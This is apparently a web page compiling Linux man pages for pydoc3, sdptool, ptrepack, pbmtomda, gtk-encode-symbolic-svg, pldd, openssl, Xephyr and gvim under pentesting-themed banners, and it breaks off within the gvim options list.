➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pydoc3 and provides detailed information about the command pydoc3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pydoc3.

NAME 🖥️ pydoc3 🖥️

the Python documentation tool

SYNOPSIS

pydoc3.11 name

pydoc3.11 -k keyword

pydoc3.11 -p port

pydoc3.11 -g

pydoc3.11 -w module […]

DESCRIPTION

pydoc3.11 name Show text documentation on something. name may be the name of a Python keyword, topic, function, module, or package, or a dotted reference to a class or function within a module or module in a package. If name contains a ‘/’, it is used as the path to a Python source file to document. If name is ‘keywords’, ’topics’, or ‘modules’, a listing of these things is displayed.

pydoc3.11 -k keyword Search for a keyword in the synopsis lines of all available modules.

pydoc3.11 -p port Start an HTTP server on the given port on the local machine.

pydoc3.11 -g Pop up a graphical interface for finding and serving documentation.

pydoc3.11 -w name […] Write out the HTML documentation for a module to a file in the current directory. If name contains a ‘/’, it is treated as a filename; if it names a directory, documentation is written for all the contents.

AUTHOR

Moshe Zadka, based on “pydoc –help”

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

915 - Linux cli command sdptool

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command sdptool and provides detailed information about the command sdptool, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the sdptool.

NAME 🖥️ sdptool 🖥️

control and interrogate SDP servers

SYNOPSIS

sdptool [OPTIONS] [COMMAND [PARAMETERS]]

DESCRIPTION

sdptool(1) provides the interface for performing SDP queries on Bluetooth devices, and administering a local SDP database.

COMMANDS

The following commands are available. In all cases bdaddr specifies the device to search or browse. If local is used for bdaddr, then the local SDP database is searched.

Services are identified and manipulated with a 4-byte record_handle (NOT the service name). To find a service’s record_handle, look for the “Service RecHandle” line in the search or browse results

search [–bdaddr bdaddr] [–tree] [–raw] [–xml] service_name
Search for services..

Known service names are DID, SP, DUN, LAN, FAX, OPUSH, FTP, HS, HF, HFAG, SAP, NAP, GN, PANU, HCRP, HID, CIP, A2SRC, A2SNK, AVRCT, AVRTG, UDIUE, UDITE and SYNCML.

browse [–tree] [–raw] [–xml] [bdaddr]
Browse all available services on the device specified by a Bluetooth address as a parameter.

records [–tree] [–raw] [–xml] bdaddr
Retrieve all possible service records.

add [ –handle=N –channel=N ]
Add a service to the local SDP database.

You can specify a handle for this record using the –handle option.

You can specify a channel to add the service on using the –channel option.

NOTE: Local adapters configuration will not be updated and this command should be used only for SDP testing.

del record_handle
Remove a service from the local SDP database.

NOTE: Local adapters configuration will not be updated and this command should be used only for SDP testing.

get [–tree] [–raw] [–xml] [–bdaddr bdaddr] record_handle
Retrieve a service from the local SDP database.

setattr record_handle attrib_id attrib_value
Set or add an attribute to an SDP record.

setseq record_handle attrib_id attrib_values
Set or add an attribute sequence to an SDP record.

OPTIONS

–help
Displays help on using sdptool.

EXAMPLES

$ sdptool browse 00:80:98:24:15:6D $ sdptool browse local $ sdptool add DUN $ sdptool del 0x10000

RESOURCES

http://www.bluez.org

REPORTING BUGS

[email protected]

AUTHOR

Maxim Krasnyansky <[email protected]>, Edd Dumbill <[email protected]>

COPYRIGHT

Free use of this software is granted under ther terms of the GNU Lesser General Public Licenses (LGPL).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

916 - Linux cli command ptrepack

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ptrepack and provides detailed information about the command ptrepack, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ptrepack.

NAME 🖥️ ptrepack 🖥️

Copy any PyTables Leaf, Group or complete subtree into another file.

SYNOPSIS

ptrepack -h -v -o -R start,stop,step –non-recursive –dest-title=title –dont-copyuser-attrs –overwrite-nodes –complevel=(0-9) –complib=lib –shuffle=(0|1) –fletcher32=(0|1) –keep-source-filters –upgrade-flavors –dont-regenerate-old-indexes sourcefile:sourcegroup destfile:destgroup

DESCRIPTION

Copy any Leaf, Group or complete subtree from a PyTables file into another file.

OPTIONS

A summary of options is included below.

-h
Prints a help text.

-v
Show more information.

-o
Overwrite destination file.

-R RANGE
Select a RANGE of rows in the form start,stop,step during the copy of all the leaves.

–non-recursive
Do not do a recursive copy. Default is to do it.

–dest-title=title
Title for the new file (if not specified, the source is copied).

–dont-copy-userattrs
Do not copy the user attrs (default is to do it).

–overwrite-nodes
Overwrite destination nodes if they exist. Default is not to overwrite them.

–complevel=(0-9)
Set a compression level (0 for no compression, which is the default).

–complib=lib
Set the compression library to be used during the copy. lib can be set to “zlib”, “lzo”, “ucl” or “bzip2”. Defaults to “zlib”.

–shuffle=(0|1)
Activate or not the shuffling filter (default is active if complevel>0).

–fletcher32=(0|1)
Whether to activate or not the fletcher32 filter (not active by default).

–keep-source-filters
Use the original filters in source files. The default is not doing that if any of –complevel, –complib, –shuffle or –fletcher32 option is specified.

–upgrade-flavors
When repacking PyTables 1.x files, the flavor of leaves will be unset. With this, such a leaves will be serialized as objects with the internal flavor (“numpy” for 2.x series).

–dont-regenerate-old-indexes
Disable regenerating old indexes. The default is to regenerate old indexes as they are found.

SEE ALSO

ptdump(1).
These utilities are documented fully by PyTables user’s manual.

AUTHOR

This manual page was written by Francesc Altet <[email protected]>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

917 - Linux cli command pbmtomda

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtomda and provides detailed information about the command pbmtomda, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtomda.

.

NAME 🖥️ pbmtomda 🖥️

convert a PBM image to a Microdesign .mda

SYNOPSIS

pbmtomda

[-dscale] [-invert] []

[pbmfile]

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pbmtomda reads a PBM image as input and produces a MicroDesign 2 area file (.MDA) as output.

If you do not specify pbmfile, pbmtomda uses Standard Input.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pbmtomda recognizes the following command line options:

-d
Halve the height of the output file, to compensate for the aspect ratio used in MicroDesign files.

-i
Invert the colors used.


End of options (use this if the filename starts with “-”)

LIMITATIONS

There’s no way to produce files in MicroDesign 3 format. MD3 itself and mdatopbm(1) can read files in either format.

SEE ALSO

mdatopbm(1) , pbm(1)

AUTHOR

Copyright (C) 1999 John Elliott <[email protected]>.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtomda.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

918 - Linux cli command gtk-encode-symbolic-svg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gtk-encode-symbolic-svg and provides detailed information about the command gtk-encode-symbolic-svg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gtk-encode-symbolic-svg.

NAME 🖥️ gtk-encode-symbolic-svg 🖥️

encode-symbolic-svg - Symbolic icon conversion utility

SYNOPSIS

gtk-encode-symbolic-svg [OPTION…] PATH WIDTHxHEIGHT

DESCRIPTION

gtk-encode-symbolic-svg converts symbolic svg icons into specially prepared png files. GTK+ can load and recolor these pngs, just like original svgs, but loading them is much faster.

PATH is the name of a symbolic svg file, WIDTHxHEIGHT are the desired dimensions for the generated png file.

To distinguish them from ordinary pngs, the generated files have the extension .symbolic.png.

OPTIONS

-o DIRECTORY, –output DIRECTORY

Write png files to DIRECTORY instead of the current working directory.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

919 - Linux cli command pldd

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pldd and provides detailed information about the command pldd, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pldd.

NAME 🖥️ pldd 🖥️

display dynamic shared objects linked into a process

SYNOPSIS

pldd pid
pldd option

DESCRIPTION

The pldd command displays a list of the dynamic shared objects (DSOs) that are linked into the process with the specified process ID (PID). The list includes the libraries that have been dynamically loaded using dlopen(3).

OPTIONS

–help
-?
Display a help message and exit.

–usage
Display a short usage message and exit.

–version
-V
Display program version information and exit.

EXIT STATUS

On success, pldd exits with the status 0. If the specified process does not exist, the user does not have permission to access its dynamic shared object list, or no command-line arguments are supplied, pldd exists with a status of 1. If given an invalid option, it exits with the status 64.

VERSIONS

Some other systems have a similar command.

STANDARDS

None.

HISTORY

glibc 2.15.

NOTES

The command

lsof -p PID

also shows output that includes the dynamic shared objects that are linked into a process.

The gdb(1) info shared command also shows the shared libraries being used by a process, so that one can obtain similar output to pldd using a command such as the following (to monitor the process with the specified pid):

$ gdb -ex "set confirm off" -ex "set height 0" -ex "info shared" \
        -ex "quit" -p $pid | grep '^0x.*0x'

BUGS

From glibc 2.19 to glibc 2.29, pldd was broken: it just hung when executed. This problem was fixed in glibc 2.30, and the fix has been backported to earlier glibc versions in some distributions.

EXAMPLES

$ echo $$               # Display PID of shell
1143
$ pldd $$               # Display DSOs linked into the shell
1143:   /usr/bin/bash
linux-vdso.so.1
/lib64/libtinfo.so.5
/lib64/libdl.so.2
/lib64/libc.so.6
/lib64/ld-linux-x86-64.so.2
/lib64/libnss_files.so.2

SEE ALSO

ldd(1), lsof(1), dlopen(3), ld.so(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

920 - Linux cli command s_timessl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command s_timessl and provides detailed information about the command s_timessl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the s_timessl.

NAME 🖥️ s_timessl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

921 - Linux cli command Xephyr

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command Xephyr and provides detailed information about the command Xephyr, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the Xephyr.

NAME 🖥️ Xephyr 🖥️

X server outputting to a window on a pre-existing X display

SYNOPSIS

Xephyr [**:**display] [option ]

DESCRIPTION

Xephyr is a kdrive server that outputs to a window on a pre-existing “host” X display. Think Xnest but with support for modern extensions like composite, damage and randr.

Unlike Xnest which is an X proxy, i.e. limited to the capabilities of the host X server, Xephyr is a real X server which uses the host X server window as “framebuffer” via fast SHM XImages.

It also has support for “visually” debugging what the server is painting.

OPTIONS

The server accepts all the standard options of Xserver(1) and the following additional options:

-screen* widthxheight*
sets the screen size.

-parent* id*
uses existing window id . If a -screen argument follows a -parent argument, this screen is embedded into the given window.

-host-cursor
set ‘cursor acceleration’: The host’s cursor is reused. This is only really there to aid debugging by avoiding server paints for the cursor. Performance improvement is negligible.

-resizeable
Allow the Xephyr window to be resized, even if not embedded into a parent window. By default, the Xephyr window has a fixed size.

-no-host-grab
Disable grabbing the keyboard and mouse.

SIGNALS

Send a SIGUSR1 to the server (e.g. pkill -USR1 Xephyr) to toggle the debugging mode. In this mode red rectangles are painted to screen areas getting painted before painting the actual content. The delay between this can be altered by setting a XEPHYR_PAUSE env var to a value in micro seconds.

CAVEATS

  • Rotated displays are currently updated via full blits. This is slower than a normal orientated display. Debug mode will therefore not be of much use rotated.

  • The ‘-host-cursor’ cursor is static in its appearance.

  • The build gets a warning about ’nanosleep’. I think the various ‘-D’ build flags are causing this. I haven’t figured as yet how to work round it. It doesn’t appear to break anything however.

  • Keyboard handling is basic but works.

  • Mouse button 5 probably won’t work.

SEE ALSO

X(7), Xserver(1)

AUTHOR

Matthew Allum <[email protected]> 2004

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

922 - Linux cli command gvim

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command gvim and provides detailed information about the command gvim, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the gvim.

NAME 🖥️ gvim 🖥️

Vi IMproved, a programmer’s text editor

SYNOPSIS

vim [options] [file ..]
vim [options] -
vim [options] -t tag
vim [options] -q [errorfile]

ex
view
gvim gview evim eview
rvim rview rgvim rgview

DESCRIPTION

Vim is a text editor that is upwards compatible to Vi. It can be used to edit all kinds of plain text. It is especially useful for editing programs.

There are a lot of enhancements above Vi: multi level undo, multi windows and buffers, syntax highlighting, command line editing, filename completion, on-line help, visual selection, etc.. See “:help vi_diff.txt” for a summary of the differences between Vim and Vi.

While running Vim a lot of help can be obtained from the on-line help system, with the “:help” command. See the ON-LINE HELP section below.

Most often Vim is started to edit a single file with the command

vim file

More generally Vim is started with:

vim [options] [filelist]

If the filelist is missing, the editor will start with an empty buffer. Otherwise exactly one out of the following four may be used to choose one or more files to be edited.

file ..
A list of filenames. The first one will be the current file and read into the buffer. The cursor will be positioned on the first line of the buffer. You can get to the other files with the “:next” command. To edit a file that starts with a dash, precede the filelist with “–”.

-
The file to edit is read from stdin. Commands are read from stderr, which should be a tty.

-t {tag}
The file to edit and the initial cursor position depends on a “tag”, a sort of goto label. {tag} is looked up in the tags file, the associated file becomes the current file and the associated command is executed. Mostly this is used for C programs, in which case {tag} could be a function name. The effect is that the file containing that function becomes the current file and the cursor is positioned on the start of the function. See “:help tag-commands”.

-q [errorfile]
Start in quickFix mode. The file [errorfile] is read and the first error is displayed. If [errorfile] is omitted, the filename is obtained from the ’errorfile’ option (defaults to “AztecC.Err” for the Amiga, “errors.err” on other systems). Further errors can be jumped to with the “:cn” command. See “:help quickfix”.

Vim behaves differently, depending on the name of the command (the executable may still be the same file).

vim
The “normal” way, everything is default.

ex
Start in Ex mode. Go to Normal mode with the “:vi” command. Can also be done with the “-e” argument.

view
Start in read-only mode. You will be protected from writing the files. Can also be done with the “-R” argument.

gvim gview
The GUI version. Starts a new window. Can also be done with the “-g” argument.

evim eview
The GUI version in easy mode. Starts a new window. Can also be done with the “-y” argument.

rvim rview rgvim rgview
Like the above, but with restrictions. It will not be possible to start shell commands, or suspend Vim. Can also be done with the “-Z” argument.

OPTIONS

The options may be given in any order, before or after filenames. Options without an argument can be combined after a single dash.

+[num]
For the first file the cursor will be positioned on line “num”. If “num” is missing, the cursor will be positioned on the last line.

+/{pat}
For the first file the cursor will be positioned in the line with the first occurrence of {pat}. See “:help search-pattern” for the available search patterns.

+{command}
-c {command}
{command} will be executed after the first file has been read. {command} is interpreted as an Ex command. If the {command} contains spaces it must be enclosed in double quotes (this depends on the shell that is used). Example: vim “+set si” main.c
Note: You can use up to 10 “+” or “-c” commands.

-S {file}
{file} will be sourced after the first file has been read. This is equivalent to -c “source {file}”. {file} cannot start with ‘-’. If {file} is omitted “Session.vim” is used (only works when -S is the last argument).

–cmd {command}
Like using “-c”, but the command is executed just before processing any vimrc file. You can use up to 10 of these commands, independently from “-c” commands.

-A
If Vim has been compiled with ARABIC support for editing right-to-left oriented files and Arabic keyboard mapping, this option starts Vim in Arabic mode, i.e. ‘arabic’ is set. Otherwise an error message is given and Vim aborts.

-b
Binary mode. A few options will be set that makes it possible to edit a binary or executable file.

-C
Compatible. Set the ‘compatible’ option. This will make Vim behave mostly like Vi, even though a .vimrc file exists.

-d
Start in diff mode. There should between two to eight file name arguments. Vim will open all the files and show differences between them. Works like vimdiff(1).

-d {device}, -dev {device}
Open {device} for use as a terminal. Only on the Amiga. Example: “-d con:20/30/600/150”.

-D
Debugging. Go to debugging mode when executing the first command from a script.

-e
Start Vim in Ex mode, just like the executable was called “ex”.

-E
Start Vim in improved Ex mode, just like the executable was called “exim”.

-f
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in. On the Amiga, Vim is not restarted to open a new window. This option should be used when Vim is executed by a program that will wait for the edit session to finish (e.g. mail). On the Amiga the “:sh” and “:!” commands will not work.

–nofork
Foreground. For the GUI version, Vim will not fork and detach from the shell it was started in.

-F
If Vim has been compiled with FKMAP support for editing right-to-left oriented files and Farsi keyboard mapping, this option starts Vim in Farsi mode, i.e. ‘fkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-g
If Vim has been compiled with GUI support, this option enables the GUI. If no GUI support was compiled in, an error message is given and Vim aborts.

–gui-dialog-file {name}
When using the GUI, instead of showing a dialog, write the title and message of the dialog to file {name}. The file is created or appended to. Only useful for testing, to avoid that the test gets stuck on a dialog that can’t be seen. Without the GUI the argument is ignored.

–help, -h, -?
Give a bit of help about the command line arguments and options. After this Vim exits.

-H
If Vim has been compiled with RIGHTLEFT support for editing right-to-left oriented files and Hebrew keyboard mapping, this option starts Vim in Hebrew mode, i.e. ‘hkmap’ and ‘rightleft’ are set. Otherwise an error message is given and Vim aborts.

-i {viminfo}
Specifies the filename to use when reading or writing the viminfo file, instead of the default “~/.viminfo”. This can also be used to skip the use of the .viminfo file, by giving the name “NONE”.

-L
Same as -r.

-l
Lisp mode. Sets the ’lisp’ and ‘showmatch’ options on.

-m
Modifying files is disabled. Resets the ‘write’ option. You can still modify the buffer, but writing a file is not possible.

-M
Modifications not allowed. The ‘modifiable’ and ‘write’ options will be unset, so that changes are not allowed and files can not be written. Note that these options can be set to enable making modifications.

-N
No-compatible mode. Resets the ‘compatible’ option. This will make Vim behave a bit better, but less Vi compatible, even though a .vimrc file does not exist.

-n
No swap file will be used. Recovery after a crash will be impossible. Handy if you want to edit a file on a very slow medium (e.g. floppy). Can also be done with “:set uc=0”. Can be undone with “:set uc=200”.

-nb
Become an editor server for NetBeans. See the docs for details.

-o[N]
Open N windows stacked. When N is omitted, open one window for each file.

-O[N]
Open N windows side by side. When N is omitted, open one window for each file.

-p[N]
Open N tab pages. When N is omitted, open one tab page for each file.

-P {parent-title}
Win32 GUI only: Specify the title of the parent application. When possible, Vim will run in an MDI window inside the application. {parent-title} must appear in the window title of the parent application. Make sure that it is specific enough. Note that the implementation is still primitive. It won’t work with all applications and the menu doesn’t work.

-R
Read-only mode. The ‘readonly’ option will be set. You can still edit the buffer, but will be prevented from accidentally overwriting a file. If you do want to overwrite a file, add an exclamation mark to the Ex command, as in “:w!”. The -R option also implies the -n option (see above). The ‘readonly’ option can be reset with “:set noro”. See “:help ‘readonly’”.

-r
List swap files, with information about using them for recovery.

-r {file}
Recovery mode. The swap file is used to recover a crashed editing session. The swap file is a file with the same filename as the text file with “.swp” appended. See “:help recovery”.

-s
Silent mode. Only when started as “Ex” or when the “-e” option was given before the “-s” option.

-s {scriptin}
The script file {scriptin} is read. The characters in the file are interpreted as if you had typed them. The same can be done with the command “:source! {scriptin}”. If the end of the file is reached before the editor exits, further characters are read from the keyboard.

-T {terminal}
Tells Vim the name of the terminal you are using. Only required when the automatic way doesn’t work. Should be a terminal known to Vim (builtin) or defined in the termcap or terminfo file.

–not-a-term
Tells Vim that the user knows that the input and/or output is not connected to a terminal. This will avoid the warning and the two second delay that would happen.

–ttyfail
When stdin or stdout is not a a terminal (tty) then exit right away.

-u {vimrc}
Use the commands in the file {vimrc} for initializations. All the other initializations are skipped. Use this to edit a special kind of files. It can also be used to skip all initializations by giving the name “NONE”. See “:help initialization” within vim for more details.

-U {gvimrc}
Use the commands in the file {gvimrc} for GUI initializations. All the other GUI initializations are skipped. It can also be used to skip all GUI initializations by giving the name “NONE”. See “:help gui-init” within vim for more details.

-V[N]
Verbose. Give messages about which files are sourced and for reading and writing a viminfo file. The optional number N is the value for ‘verbose’. Default is 10.

-V[N]{filename}
Like -V and set ‘verbosefile’ to {filename}. The result is that messages are not displayed but written to the file {filename}. {filename} must not start with a digit.

–log {filename}
